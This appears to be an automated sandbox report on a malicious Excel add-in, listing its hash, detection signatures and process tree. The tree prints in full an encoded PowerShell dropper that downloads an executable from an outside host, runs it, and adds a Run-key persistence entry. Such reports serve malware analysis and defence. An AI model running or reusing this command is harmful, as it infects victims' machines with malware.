Analysis
- max time kernel
107s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20220721-en - resource tags
- submitted
24/07/2022, 04:17
General
- Target 5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam
- Size 31KB
- Sample220724-ewr5fafbb6
- SHA256 5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://a.doko.moe/vntawp.jpg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Zeus
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5955f821356e45f71788a755902e7ab142c3a6214ec2adc755abbe30f6c44985.xlam"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cMD.execMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAAYQBXAHoATwBPAGQAeQA5AFgASgB6AE4AYQBDAEoANgAgACgAIAAkAHoASwBtAFoAUQA4AFEAawBrADMAdABSAEYAbABIAGwATABOAHkAYQAgACwAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACAAJAB6AEsAbQBaAFEAOABRAGsAawAzAHQAUgBGAGwASABsAEwATgB5AGEAIAAsACAAJABQAGsATwBjAEgAVQBWAEIATgBvAFcAZwBUAEgAOABYAFgASABZACAAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAIAAkAFAAawBPAGMASABVAFYAQgBOAG8AVwBnAFQASAA4AFgAWABIAFkAIAApADsAIAB9AA0ACgB0AHIAeQB7AA0ACgANAAoAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA9ACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAKwAnAFwARQBjAGgAZgBNAFAAcQByAGkAYwBVADkASQBCAHoALgBlAHgAZQAnADsADQAKAGEAVwB6AE8ATwBkAHkAOQBYAEoAegBOAGEAQwBKADYAIAAnAGgAdAB0AHAAcwA6AC8ALwBhAC4AZABvAGsAbwAuAG0AbwBlAC8AdgBuAHQAYQB3AHAALgBqAHAAZwAnACAAJABGAEIAVABPADEAVQAyAFkAdQBOAHcAcAA4AFIANwAxAHYAdQBiAFcARwBTAF8AdwBGAHkATQA7AA0ACgAkAGsANwBnAEcAYQB5AGYASQBxAFAAbgBJAHYAVwBjAGQAZwBjAEwASQBBAG4AcgAgAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABFAGMAaABmAE0AUABxAHIAaQBjAFUAOQBJAEIAegAuAGUAeABlACcAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAGEAbQBlACAAJwBlAHgAcABsAG8AcgBlACcAIAAtAFYAYQBsAHUAZQAgACQAawA3AGcARwBhAHkAZgBJAHEAUABuAEkAdgBXAGMAZABnAGMATABJAEEAbgByACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACcAUwB0AHIAaQBuAGcAJwAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA0ACgANAAoAfQBjAGEAdABjAGgAewB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1672-143-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-130-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-133-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-134-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-135-0x00007FFBD6070000-0x00007FFBD6080000-memory.dmp
memory/1672-136-0x00007FFBD6070000-0x00007FFBD6080000-memory.dmp
memory/1672-132-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-146-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-131-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-145-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/1672-144-0x00007FFBD82F0000-0x00007FFBD8300000-memory.dmp
memory/4392-141-0x00007FFBEF7F0000-0x00007FFBF02B1000-memory.dmp
memory/4392-140-0x00007FFBEF7F0000-0x00007FFBF02B1000-memory.dmp
memory/4392-139-0x000001CEA0780000-0x000001CEA07A2000-memory.dmp